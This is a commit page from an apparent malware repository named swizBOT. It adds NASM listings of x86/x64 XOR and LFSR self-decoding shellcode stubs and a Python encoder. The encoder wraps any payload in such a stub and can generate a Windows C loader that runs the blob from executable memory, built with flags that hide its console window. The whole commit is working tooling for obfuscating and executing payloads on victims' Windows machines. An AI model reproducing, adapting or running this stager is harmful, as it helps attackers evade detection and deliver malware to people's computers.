mirror of
https://git.churchofmalware.org/ek0mssavi0r/swizBOT
synced 2026-09-24 08:34:38 +00:00
Upload files to "stager"
This commit is contained in:
@@ -0,0 +1,23 @@
|
|||||||
|
; swizBOT decoder listing - 64-bit
|
||||||
|
; CALL/POP XOR decoder family (Jake Swiz technique)
|
||||||
|
; Placeholder bytes are 0xCC and are patched by stager/encoder.py.
|
||||||
|
; Verify: nasm -f bin decoder_x64.asm && compare with encoder output
|
||||||
|
|
||||||
|
BITS 64
|
||||||
|
|
||||||
|
stub_xor_loop:
|
||||||
|
db 0xeb, 0x11, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x80, 0x36, 0xcc, 0x48, 0xff, 0xc6, 0xe2
|
||||||
|
db 0xf8, 0xeb, 0x05, 0xe8, 0xea, 0xff, 0xff, 0xff
|
||||||
|
stub_xor_loop_end:
|
||||||
|
|
||||||
|
stub_xor_unrolled:
|
||||||
|
db 0xeb, 0x11, 0x5e, 0x31, 0xc0, 0xb0, 0xcc, 0x80, 0x36, 0xcc, 0x48, 0xff, 0xc6, 0xfe, 0xc8, 0x75
|
||||||
|
db 0xf6, 0xeb, 0x05, 0xe8, 0xea, 0xff, 0xff, 0xff
|
||||||
|
stub_xor_unrolled_end:
|
||||||
|
|
||||||
|
stub_lfsr_loop:
|
||||||
|
db 0xeb, 0x21, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x31, 0xd2, 0xba, 0xcc, 0xcc, 0xcc, 0xcc
|
||||||
|
db 0x30, 0x16, 0xd1, 0xea, 0x73, 0x06, 0x81, 0xf2, 0x03, 0x00, 0x20, 0x80, 0x48, 0xff, 0xc6, 0xe2
|
||||||
|
db 0xef, 0xeb, 0x05, 0xe8, 0xda, 0xff, 0xff, 0xff
|
||||||
|
stub_lfsr_loop_end:
|
||||||
|
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
; swizBOT decoder listing - 32-bit
|
||||||
|
; CALL/POP XOR decoder family (Jake Swiz technique)
|
||||||
|
; Placeholder bytes are 0xCC and are patched by stager/encoder.py.
|
||||||
|
; Verify: nasm -f bin decoder_x86.asm && compare with encoder output
|
||||||
|
|
||||||
|
BITS 32
|
||||||
|
|
||||||
|
stub_xor_loop:
|
||||||
|
db 0xeb, 0x0f, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x80, 0x36, 0xcc, 0x46, 0xe2, 0xfa, 0xeb
|
||||||
|
db 0x05, 0xe8, 0xec, 0xff, 0xff, 0xff
|
||||||
|
stub_xor_loop_end:
|
||||||
|
|
||||||
|
stub_xor_unrolled:
|
||||||
|
db 0xeb, 0x0f, 0x5e, 0x31, 0xc0, 0xb0, 0xcc, 0x80, 0x36, 0xcc, 0x46, 0xfe, 0xc8, 0x75, 0xf8, 0xeb
|
||||||
|
db 0x05, 0xe8, 0xec, 0xff, 0xff, 0xff
|
||||||
|
stub_xor_unrolled_end:
|
||||||
|
|
||||||
|
stub_lfsr_loop:
|
||||||
|
db 0xeb, 0x1f, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x31, 0xd2, 0xba, 0xcc, 0xcc, 0xcc, 0xcc
|
||||||
|
db 0x30, 0x16, 0xd1, 0xea, 0x73, 0x06, 0x81, 0xf2, 0x03, 0x00, 0x20, 0x80, 0x46, 0xe2, 0xf1, 0xeb
|
||||||
|
db 0x05, 0xe8, 0xdc, 0xff, 0xff, 0xff
|
||||||
|
stub_lfsr_loop_end:
|
||||||
|
|
||||||
@@ -0,0 +1,530 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
swizBOT stager encoder.
|
||||||
|
|
||||||
|
XOR / LFSR position-independent decoders in the Jake Swiz CALL/POP
|
||||||
|
style for x86 (32-bit) and x64 (64-bit) Windows. The decoder is prepended
|
||||||
|
to the encoded payload; the whole blob is what a loader (or injector)
|
||||||
|
executes. Decoders are emitted as raw machine code from the byte tables
|
||||||
|
in this file; stager/decoder_x86.asm and stager/decoder_x64.asm are the
|
||||||
|
canonical NASM listings and are byte-identical (checked by --selftest).
|
||||||
|
|
||||||
|
Decoding is verified in --selftest by executing the stub bytes in a
|
||||||
|
tiny instruction emulator (no Windows box required) and by re-assembling
|
||||||
|
the NASM listings when nasm is available.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 encoder.py payload.bin out/stager.bin
|
||||||
|
python3 encoder.py payload.bin out/stager.bin --lfsr
|
||||||
|
python3 encoder.py payload.bin out/stager.bin --noloop --arch x64
|
||||||
|
python3 encoder.py payload.bin out/stager.bin --lfsr --loader --arch x64
|
||||||
|
python3 encoder.py --selftest
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import random
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
# XOR / LFSR stream encoders
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
|
||||||
|
def xor_encode(data, key):
|
||||||
|
return bytes(b ^ key for b in data)
|
||||||
|
|
||||||
|
|
||||||
|
def find_xor_key(data):
|
||||||
|
"""Pick a key that produces no zero bytes in the encoded stream."""
|
||||||
|
for key in range(1, 256):
|
||||||
|
if key not in data:
|
||||||
|
return key
|
||||||
|
raise ValueError("no safe XOR key found; use --lfsr")
|
||||||
|
|
||||||
|
|
||||||
|
def lfsr_encode(data, seed):
|
||||||
|
"""32-bit LFSR stream (polynomial 0x80200003). Key byte is the low
|
||||||
|
byte of the state before each shift - exactly what the asm decoder
|
||||||
|
recomputes."""
|
||||||
|
out = bytearray()
|
||||||
|
state = seed & 0xFFFFFFFF
|
||||||
|
for b in data:
|
||||||
|
out.append(b ^ (state & 0xFF))
|
||||||
|
lsb = state & 1
|
||||||
|
state >>= 1
|
||||||
|
if lsb:
|
||||||
|
state ^= 0x80200003
|
||||||
|
return bytes(out)
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
# Decoder byte tables. Layouts are fixed; only the length/key/seed
|
||||||
|
# bytes are patched. Patch offsets are explicit so the asm listings can
|
||||||
|
# be diffed byte-for-byte.
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
|
||||||
|
class Stub:
|
||||||
|
def __init__(self, arch, kind, base, patches):
|
||||||
|
self.arch = arch
|
||||||
|
self.kind = kind
|
||||||
|
self.base = bytearray(base)
|
||||||
|
self.patches = patches # {name: offset}
|
||||||
|
|
||||||
|
def patched(self, **kwargs):
|
||||||
|
out = bytearray(self.base)
|
||||||
|
for name, off in self.patches.items():
|
||||||
|
val = kwargs[name]
|
||||||
|
if isinstance(val, int):
|
||||||
|
out[off:off + 1] = bytes([val & 0xFF])
|
||||||
|
else:
|
||||||
|
out[off:off + len(val)] = val
|
||||||
|
return bytes(out)
|
||||||
|
|
||||||
|
|
||||||
|
# kind -> (arch -> stub bytes, patch map)
|
||||||
|
def _u16(v):
|
||||||
|
return struct.pack("<H", v)
|
||||||
|
|
||||||
|
|
||||||
|
def _u32(v):
|
||||||
|
return struct.pack("<I", v)
|
||||||
|
|
||||||
|
|
||||||
|
# XOR, counter in cx (payload up to 65535 bytes)
|
||||||
|
XOR_LOOP = {
|
||||||
|
"x86": Stub("x86", "xor-loop",
|
||||||
|
bytes([0xEB, 0x0F, 0x5E, 0x31, 0xC9, 0x66, 0xB9, 0, 0,
|
||||||
|
0x80, 0x36, 0, 0x46, 0xE2, 0xFA,
|
||||||
|
0xEB, 0x05, 0xE8, 0xEC, 0xFF, 0xFF, 0xFF]),
|
||||||
|
{"len": 7, "key": 11}),
|
||||||
|
"x64": Stub("x64", "xor-loop",
|
||||||
|
bytes([0xEB, 0x11, 0x5E, 0x31, 0xC9, 0x66, 0xB9, 0, 0,
|
||||||
|
0x80, 0x36, 0, 0x48, 0xFF, 0xC6, 0xE2, 0xF8,
|
||||||
|
0xEB, 0x05, 0xE8, 0xEA, 0xFF, 0xFF, 0xFF]),
|
||||||
|
{"len": 7, "key": 11}),
|
||||||
|
}
|
||||||
|
|
||||||
|
# XOR unrolled (no `loop` instruction), counter in al (payload <= 255)
|
||||||
|
XOR_UNROLLED = {
|
||||||
|
"x86": Stub("x86", "xor-unrolled",
|
||||||
|
bytes([0xEB, 0x0F, 0x5E, 0x31, 0xC0, 0xB0, 0,
|
||||||
|
0x80, 0x36, 0, 0x46, 0xFE, 0xC8, 0x75, 0xF8,
|
||||||
|
0xEB, 0x05, 0xE8, 0xEC, 0xFF, 0xFF, 0xFF]),
|
||||||
|
{"len": 6, "key": 9}),
|
||||||
|
"x64": Stub("x64", "xor-unrolled",
|
||||||
|
bytes([0xEB, 0x11, 0x5E, 0x31, 0xC0, 0xB0, 0,
|
||||||
|
0x80, 0x36, 0, 0x48, 0xFF, 0xC6, 0xFE, 0xC8, 0x75, 0xF6,
|
||||||
|
0xEB, 0x05, 0xE8, 0xEA, 0xFF, 0xFF, 0xFF]),
|
||||||
|
{"len": 6, "key": 9}),
|
||||||
|
}
|
||||||
|
|
||||||
|
# LFSR, state in edx, counter in cx (payload <= 65535). The poly
|
||||||
|
# constant is baked into the instruction stream.
|
||||||
|
LFSR_LOOP = {
|
||||||
|
"x86": Stub("x86", "lfsr-loop",
|
||||||
|
bytes([0xEB, 0x1F, 0x5E, 0x31, 0xC9, 0x66, 0xB9, 0, 0,
|
||||||
|
0x31, 0xD2, 0xBA, 0, 0, 0, 0,
|
||||||
|
0x30, 0x16, 0xD1, 0xEA, 0x73, 0x06,
|
||||||
|
0x81, 0xF2, 0x03, 0x00, 0x20, 0x80,
|
||||||
|
0x46, 0xE2, 0xF1, 0xEB, 0x05, 0xE8, 0xDC, 0xFF, 0xFF, 0xFF]),
|
||||||
|
{"len": 7, "seed": 12}),
|
||||||
|
"x64": Stub("x64", "lfsr-loop",
|
||||||
|
bytes([0xEB, 0x21, 0x5E, 0x31, 0xC9, 0x66, 0xB9, 0, 0,
|
||||||
|
0x31, 0xD2, 0xBA, 0, 0, 0, 0,
|
||||||
|
0x30, 0x16, 0xD1, 0xEA, 0x73, 0x06,
|
||||||
|
0x81, 0xF2, 0x03, 0x00, 0x20, 0x80,
|
||||||
|
0x48, 0xFF, 0xC6, 0xE2, 0xEF,
|
||||||
|
0xEB, 0x05, 0xE8, 0xDA, 0xFF, 0xFF, 0xFF]),
|
||||||
|
{"len": 7, "seed": 12}),
|
||||||
|
}
|
||||||
|
|
||||||
|
MAX_LEN = {
|
||||||
|
"xor-loop": 65535,
|
||||||
|
"xor-unrolled": 255,
|
||||||
|
"lfsr-loop": 65535,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def build_stub(arch, kind, length, key=0, seed=0):
|
||||||
|
table = {"xor-loop": XOR_LOOP, "xor-unrolled": XOR_UNROLLED,
|
||||||
|
"lfsr-loop": LFSR_LOOP}[kind]
|
||||||
|
stub = table[arch]
|
||||||
|
if kind == "xor-loop":
|
||||||
|
return stub.patched(len=_u16(length), key=key)
|
||||||
|
if kind == "xor-unrolled":
|
||||||
|
return stub.patched(len=length, key=key)
|
||||||
|
return stub.patched(len=_u16(length), seed=_u32(seed & 0xFFFFFFFF))
|
||||||
|
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
# Tiny x86/x64 emulator used to prove the decoders actually decode.
|
||||||
|
# Supports exactly the opcodes the stubs above use.
|
||||||
|
# ----------------------------------------------------------------------
|
||||||
|
|
||||||
|
class Emu:
|
||||||
|
def __init__(self, code, bits):
|
||||||
|
self.code = code
|
||||||
|
self.bits = bits
|
||||||
|
self.regs = {"e": 0, "c": 0, "d": 0, "s": 0, "a": 0}
|
||||||
|
self.cf = 0
|
||||||
|
self.mask = (1 << bits) - 1
|
||||||
|
self.ip = 0
|
||||||
|
self.stack = []
|
||||||
|
|
||||||
|
def r(self, name):
|
||||||
|
return self.regs[name]
|
||||||
|
|
||||||
|
def setr(self, name, val):
|
||||||
|
self.regs[name] = val & self.mask
|
||||||
|
|
||||||
|
def u8(self, off):
|
||||||
|
return self.code[off]
|
||||||
|
|
||||||
|
def i8(self, off):
|
||||||
|
v = self.code[off]
|
||||||
|
return v - 256 if v > 127 else v
|
||||||
|
|
||||||
|
def i32(self, off):
|
||||||
|
return struct.unpack("<i", self.code[off:off + 4])[0]
|
||||||
|
|
||||||
|
def jmp8(self):
|
||||||
|
"""rel8 jump/branch at self.ip: target = ip+2+rel."""
|
||||||
|
self.ip = self.ip + 2 + self.i8(self.ip + 1)
|
||||||
|
|
||||||
|
def step(self):
|
||||||
|
op = self.u8(self.ip)
|
||||||
|
nxt = self.ip + 1
|
||||||
|
|
||||||
|
if op == 0xEB: # jmp rel8
|
||||||
|
self.jmp8()
|
||||||
|
elif op == 0xE8: # call rel32
|
||||||
|
rel = self.i32(nxt)
|
||||||
|
self.stack.append(nxt + 4)
|
||||||
|
self.ip = nxt + 4 + rel
|
||||||
|
elif op == 0x5E: # pop esi/rsi
|
||||||
|
self.setr("s", self.stack.pop())
|
||||||
|
self.ip = nxt
|
||||||
|
elif op == 0x31: # xor r32, r32 (reg==rm only)
|
||||||
|
modrm = self.u8(nxt)
|
||||||
|
reg = (modrm >> 3) & 7
|
||||||
|
rm = modrm & 7
|
||||||
|
if modrm & 0xC0 != 0xC0 or reg != rm:
|
||||||
|
raise SystemExit(f"unsupported 31 modrm {modrm:02x}")
|
||||||
|
name = {0: "a", 1: "c", 2: "d", 3: "b", 4: "e", 5: "s"}.get(reg)
|
||||||
|
self.setr(name, 0)
|
||||||
|
self.ip = nxt + 1
|
||||||
|
elif op in (0xB0, 0xB1, 0xB2): # mov al/cl/dl, imm8
|
||||||
|
self.setr({0xB0: "a", 0xB1: "c", 0xB2: "d"}[op], self.u8(nxt))
|
||||||
|
self.ip = nxt + 1
|
||||||
|
elif op == 0xBA: # mov edx, imm32
|
||||||
|
self.setr("d", struct.unpack("<I", self.code[nxt:nxt + 4])[0])
|
||||||
|
self.ip = nxt + 4
|
||||||
|
elif op == 0x66: # 66 B9 iw -> mov cx, imm16
|
||||||
|
sub = self.u8(nxt)
|
||||||
|
if sub != 0xB9:
|
||||||
|
raise SystemExit(f"unsupported 66 prefix opcode {sub:02x}")
|
||||||
|
low = self.code[nxt + 1] | (self.code[nxt + 2] << 8)
|
||||||
|
self.setr("c", low)
|
||||||
|
self.ip = nxt + 3
|
||||||
|
elif op == 0x80: # 80 /2 -> xor byte [esi], imm8
|
||||||
|
modrm = self.u8(nxt)
|
||||||
|
if modrm != 0x36:
|
||||||
|
raise SystemExit(f"unsupported 80 modrm {modrm:02x}")
|
||||||
|
imm = self.u8(nxt + 1)
|
||||||
|
base = self.r("s")
|
||||||
|
self.code[base] ^= imm
|
||||||
|
self.ip = nxt + 2
|
||||||
|
elif op == 0x30: # 30 /r -> xor byte [r/m], r8
|
||||||
|
modrm = self.u8(nxt)
|
||||||
|
if modrm != 0x16: # [esi] ^= dl
|
||||||
|
raise SystemExit(f"unsupported 30 modrm {modrm:02x}")
|
||||||
|
base = self.r("s")
|
||||||
|
self.code[base] ^= self.r("d") & 0xFF
|
||||||
|
self.ip = nxt + 1
|
||||||
|
elif op == 0x81: # 81 /6 id -> xor edx, imm32
|
||||||
|
modrm = self.u8(nxt)
|
||||||
|
if modrm != 0xF2:
|
||||||
|
raise SystemExit(f"unsupported 81 modrm {modrm:02x}")
|
||||||
|
imm = struct.unpack("<I", self.code[nxt + 1:nxt + 5])[0]
|
||||||
|
self.setr("d", self.r("d") ^ imm)
|
||||||
|
self.ip = nxt + 5
|
||||||
|
elif op == 0x46: # inc esi
|
||||||
|
self.setr("s", self.r("s") + 1)
|
||||||
|
self.ip = nxt
|
||||||
|
elif op == 0x48: # 48 FF /0 -> inc rsi (x64)
|
||||||
|
sub = self.u8(nxt)
|
||||||
|
if sub != 0xFF or self.u8(nxt + 1) != 0xC6:
|
||||||
|
raise SystemExit("unsupported 48-prefixed opcode")
|
||||||
|
self.setr("s", self.r("s") + 1)
|
||||||
|
self.ip = nxt + 2
|
||||||
|
elif op == 0xFE: # FE C8 -> dec al
|
||||||
|
sub = self.u8(nxt)
|
||||||
|
if sub != 0xC8:
|
||||||
|
raise SystemExit(f"unsupported FE opcode {sub:02x}")
|
||||||
|
self.setr("a", self.r("a") - 1)
|
||||||
|
self.ip = nxt + 1
|
||||||
|
elif op == 0x75: # jnz rel8
|
||||||
|
if self.r("a") != 0:
|
||||||
|
self.jmp8()
|
||||||
|
else:
|
||||||
|
self.ip = nxt + 1
|
||||||
|
elif op == 0xE2: # loop rel8 (counter = cx/ecx/rcx)
|
||||||
|
self.setr("c", self.r("c") - 1)
|
||||||
|
if self.r("c") != 0:
|
||||||
|
self.jmp8()
|
||||||
|
else:
|
||||||
|
self.ip = nxt + 1
|
||||||
|
elif op == 0xD1: # D1 EA -> shr edx, 1
|
||||||
|
sub = self.u8(nxt)
|
||||||
|
if sub != 0xEA:
|
||||||
|
raise SystemExit(f"unsupported D1 opcode {sub:02x}")
|
||||||
|
self.cf = self.r("d") & 1
|
||||||
|
self.setr("d", self.r("d") >> 1)
|
||||||
|
self.ip = nxt + 1
|
||||||
|
elif op == 0x73: # 73 rel8 -> jnc
|
||||||
|
if self.cf == 0:
|
||||||
|
self.jmp8()
|
||||||
|
else:
|
||||||
|
self.ip = nxt + 1
|
||||||
|
else:
|
||||||
|
raise SystemExit(f"unsupported opcode {op:02x} at {self.ip}")
|
||||||
|
|
||||||
|
def run_until(self, target):
|
||||||
|
guard = 0
|
||||||
|
while self.ip != target:
|
||||||
|
self.step()
|
||||||
|
guard += 1
|
||||||
|
if guard > 1 << 20:
|
||||||
|
raise SystemExit("emulator runaway")
|
||||||
|
|
||||||
|
|
||||||
|
def emulate_decode(stager, payload_off, bits):
|
||||||
|
"""Run the stub; return the decoded payload bytes."""
|
||||||
|
mem = bytearray(stager)
|
||||||
|
emu = Emu(mem, bits)
|
||||||
|
emu.run_until(payload_off)
|
||||||
|
return bytes(mem[payload_off:])
|
||||||
|
|
||||||
|
|
||||||
|
def selftest():
|
||||||
|
random.seed(0xC0FFEE)
|
||||||
|
payloads = [b"A", b"\x00\x01\x02", bytes(random.randbytes(200)),
|
||||||
|
bytes(random.randbytes(3000))]
|
||||||
|
total = 0
|
||||||
|
for arch in ("x86", "x64"):
|
||||||
|
bits = 32 if arch == "x86" else 64
|
||||||
|
for kind in ("xor-loop", "lfsr-loop", "xor-unrolled"):
|
||||||
|
for payload in payloads:
|
||||||
|
if len(payload) > MAX_LEN[kind]:
|
||||||
|
continue
|
||||||
|
if kind == "xor-loop":
|
||||||
|
try:
|
||||||
|
key = find_xor_key(payload)
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
encoded = xor_encode(payload, key)
|
||||||
|
stub = build_stub(arch, kind, len(payload), key=key)
|
||||||
|
elif kind == "lfsr-loop":
|
||||||
|
seed = random.getrandbits(32)
|
||||||
|
encoded = lfsr_encode(payload, seed)
|
||||||
|
stub = build_stub(arch, kind, len(payload), seed=seed)
|
||||||
|
else:
|
||||||
|
key = find_xor_key(payload)
|
||||||
|
encoded = xor_encode(payload, key)
|
||||||
|
stub = build_stub(arch, kind, len(payload), key=key)
|
||||||
|
|
||||||
|
stager = stub + encoded
|
||||||
|
decoded = emulate_decode(stager, len(stub), bits)
|
||||||
|
assert decoded == payload, (
|
||||||
|
f"{arch}/{kind}: decode mismatch for {len(payload)} bytes")
|
||||||
|
total += 1
|
||||||
|
print(f"[+] selftest: {total} emulated decode round-trips OK (x86/x64, "
|
||||||
|
f"xor/lfsr/unrolled)")
|
||||||
|
|
||||||
|
|
||||||
|
def nasm_parity():
|
||||||
|
"""Byte-compare the emitted stubs with the NASM listings (when nasm
|
||||||
|
is installed and the listings are present). The listing files contain
|
||||||
|
exactly the three stubs in order: xor-loop, xor-unrolled, lfsr-loop."""
|
||||||
|
import os
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import tempfile
|
||||||
|
|
||||||
|
if shutil.which("nasm") is None:
|
||||||
|
print("[!] nasm not found; skipping listing parity check")
|
||||||
|
return
|
||||||
|
for arch in ("x86", "x64"):
|
||||||
|
asm_path = os.path.join(os.path.dirname(__file__),
|
||||||
|
f"decoder_{arch}.asm")
|
||||||
|
if not os.path.exists(asm_path):
|
||||||
|
print(f"[!] {asm_path} missing; skipping parity check")
|
||||||
|
continue
|
||||||
|
order = ["xor-loop", "xor-unrolled", "lfsr-loop"]
|
||||||
|
parts = []
|
||||||
|
for kind in order:
|
||||||
|
table = {"xor-loop": XOR_LOOP, "xor-unrolled": XOR_UNROLLED,
|
||||||
|
"lfsr-loop": LFSR_LOOP}[kind][arch]
|
||||||
|
if kind == "xor-loop":
|
||||||
|
parts.append(table.patched(len=b"\xcc\xcc", key=0xCC))
|
||||||
|
elif kind == "xor-unrolled":
|
||||||
|
parts.append(table.patched(len=0xCC, key=0xCC))
|
||||||
|
else:
|
||||||
|
parts.append(table.patched(len=b"\xcc\xcc", seed=b"\xcc\xcc\xcc\xcc"))
|
||||||
|
expect = b"".join(parts)
|
||||||
|
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
obj = os.path.join(tmp, "s.bin")
|
||||||
|
subprocess.run(["nasm", "-f", "bin", "-o", obj, asm_path],
|
||||||
|
check=True, capture_output=True)
|
||||||
|
raw = open(obj, "rb").read()
|
||||||
|
if raw != expect:
|
||||||
|
raise SystemExit(
|
||||||
|
f"nasm parity FAILED for {arch}\n got {raw.hex()}\n"
|
||||||
|
f"want {expect.hex()}")
|
||||||
|
print(f"[+] nasm parity OK: decoder_{arch}.asm matches emitted stubs")
|
||||||
|
|
||||||
|
|
||||||
|
def emit_asm(arch):
|
||||||
|
"""Print the canonical NASM listing for one architecture."""
|
||||||
|
kinds = [("xor_loop", XOR_LOOP[arch], "len", "key"),
|
||||||
|
("xor_unrolled", XOR_UNROLLED[arch], "len", "key"),
|
||||||
|
("lfsr_loop", LFSR_LOOP[arch], "len", "seed")]
|
||||||
|
out = []
|
||||||
|
out.append("; swizBOT decoder listing - %s" % ("32-bit" if arch == "x86" else "64-bit"))
|
||||||
|
out.append("; CALL/POP XOR decoder family (Jake Swiz technique)")
|
||||||
|
out.append("; Placeholder bytes are 0xCC and are patched by stager/encoder.py.")
|
||||||
|
out.append("; Verify: nasm -f bin decoder_%s.asm && compare with encoder output" % arch)
|
||||||
|
out.append("")
|
||||||
|
if arch == "x86":
|
||||||
|
out.append("BITS 32")
|
||||||
|
else:
|
||||||
|
out.append("BITS 64")
|
||||||
|
out.append("")
|
||||||
|
for kind, stub, lenname, keyname in kinds:
|
||||||
|
out.append(f"stub_{kind}:")
|
||||||
|
blob = stub.base # patched with CC placeholders below
|
||||||
|
blob = bytearray(stub.base)
|
||||||
|
if kind == "xor_loop":
|
||||||
|
blob[stub.patches["len"]:stub.patches["len"] + 2] = b"\xCC\xCC"
|
||||||
|
blob[stub.patches["key"]] = 0xCC
|
||||||
|
elif kind == "xor_unrolled":
|
||||||
|
blob[stub.patches["len"]] = 0xCC
|
||||||
|
blob[stub.patches["key"]] = 0xCC
|
||||||
|
else:
|
||||||
|
blob[stub.patches["len"]:stub.patches["len"] + 2] = b"\xCC\xCC"
|
||||||
|
blob[stub.patches["seed"]:stub.patches["seed"] + 4] = b"\xCC\xCC\xCC\xCC"
|
||||||
|
for i in range(0, len(blob), 16):
|
||||||
|
chunk = blob[i:i + 16]
|
||||||
|
db = ", ".join("0x%02x" % b for b in chunk)
|
||||||
|
out.append(f" db {db}")
|
||||||
|
out.append(f"stub_{kind}_end:")
|
||||||
|
out.append("")
|
||||||
|
return "\n".join(out) + "\n"
|
||||||
|
|
||||||
|
|
||||||
|
def build(payload_path, output_path, use_lfsr, no_loop, arch, loader):
|
||||||
|
with open(payload_path, "rb") as f:
|
||||||
|
payload = f.read()
|
||||||
|
if not payload:
|
||||||
|
sys.exit("[!] payload is empty")
|
||||||
|
|
||||||
|
if no_loop:
|
||||||
|
kind = "xor-unrolled"
|
||||||
|
elif use_lfsr:
|
||||||
|
kind = "lfsr-loop"
|
||||||
|
else:
|
||||||
|
kind = "xor-loop"
|
||||||
|
|
||||||
|
if len(payload) > MAX_LEN[kind]:
|
||||||
|
sys.exit(f"[!] payload {len(payload)} bytes exceeds {kind} limit "
|
||||||
|
f"of {MAX_LEN[kind]} (use xor-loop/lfsr for larger blobs)")
|
||||||
|
|
||||||
|
if use_lfsr:
|
||||||
|
seed = random.getrandbits(32)
|
||||||
|
encoded = lfsr_encode(payload, seed)
|
||||||
|
stub = build_stub(arch, kind, len(payload), seed=seed)
|
||||||
|
print(f"[+] encoding: LFSR (seed 0x{seed:08x})")
|
||||||
|
else:
|
||||||
|
key = find_xor_key(payload)
|
||||||
|
encoded = xor_encode(payload, key)
|
||||||
|
stub = build_stub(arch, kind, len(payload), key=key)
|
||||||
|
print(f"[+] encoding: XOR (key 0x{key:02x})")
|
||||||
|
|
||||||
|
stager = stub + encoded
|
||||||
|
with open(output_path, "wb") as f:
|
||||||
|
f.write(stager)
|
||||||
|
|
||||||
|
print(f"[+] payload: {len(payload)} bytes")
|
||||||
|
print(f"[+] decoder: {kind} ({len(stub)} bytes, {arch})")
|
||||||
|
print(f"[+] stager: {output_path} ({len(stager)} bytes)")
|
||||||
|
|
||||||
|
if loader:
|
||||||
|
write_loader(stager, arch, "loader.c")
|
||||||
|
|
||||||
|
|
||||||
|
def write_loader(stager, arch, loader_path):
|
||||||
|
blob = "".join("\\x%02x" % b for b in stager)
|
||||||
|
compile_cc = ("i686-w64-mingw32-gcc" if arch == "x86"
|
||||||
|
else "x86_64-w64-mingw32-gcc")
|
||||||
|
c = f"""/*
|
||||||
|
* swizBOT loader - generated by stager/encoder.py
|
||||||
|
* Decoder family after Jake Swiz (0xXyc).
|
||||||
|
* Compile ({arch}):
|
||||||
|
* {compile_cc} {loader_path} -o loader.exe -s -Os -fno-stack-protector
|
||||||
|
* {compile_cc} {loader_path} -o loader.exe -mwindows -s -Os -fno-stack-protector
|
||||||
|
*/
|
||||||
|
#include <windows.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
static unsigned char stage[] = "{blob}";
|
||||||
|
|
||||||
|
int main(void) {{
|
||||||
|
void *mem = VirtualAlloc(NULL, sizeof(stage), MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_EXECUTE_READWRITE);
|
||||||
|
if (mem == NULL) return 1;
|
||||||
|
memcpy(mem, stage, sizeof(stage));
|
||||||
|
((void (*)(void))mem)();
|
||||||
|
return 0;
|
||||||
|
}}
|
||||||
|
"""
|
||||||
|
with open(loader_path, "w") as f:
|
||||||
|
f.write(c)
|
||||||
|
print(f"[+] loader: {loader_path} ({compile_cc})")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser(
|
||||||
|
description="swizBOT stager encoder (CALL/POP XOR/LFSR, x86/x64)")
|
||||||
|
ap.add_argument("input", nargs="?", help="raw payload file")
|
||||||
|
ap.add_argument("output", nargs="?", help="stager output file")
|
||||||
|
ap.add_argument("--lfsr", action="store_true", help="LFSR stream encoding")
|
||||||
|
ap.add_argument("--noloop", action="store_true",
|
||||||
|
help="unrolled decoder (no loop instruction; max 255 bytes)")
|
||||||
|
ap.add_argument("--arch", choices=("x86", "x64"), default="x86",
|
||||||
|
help="decoder architecture (default x86)")
|
||||||
|
ap.add_argument("--loader", action="store_true", help="write loader.c")
|
||||||
|
ap.add_argument("--selftest", action="store_true",
|
||||||
|
help="run emulated decode round-trips and nasm parity")
|
||||||
|
ap.add_argument("--emit-asm", choices=("x86", "x64"),
|
||||||
|
help="print the canonical NASM listing for an arch")
|
||||||
|
args = ap.parse_args()
|
||||||
|
|
||||||
|
if args.selftest:
|
||||||
|
selftest()
|
||||||
|
nasm_parity()
|
||||||
|
return
|
||||||
|
if args.emit_asm:
|
||||||
|
sys.stdout.write(emit_asm(args.emit_asm))
|
||||||
|
return
|
||||||
|
if not args.input or not args.output:
|
||||||
|
ap.error("input and output are required (or use --selftest)")
|
||||||
|
if args.lfsr and args.noloop:
|
||||||
|
ap.error("--lfsr and --noloop are mutually exclusive")
|
||||||
|
build(args.input, args.output, args.lfsr, args.noloop, args.arch,
|
||||||
|
args.loader)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user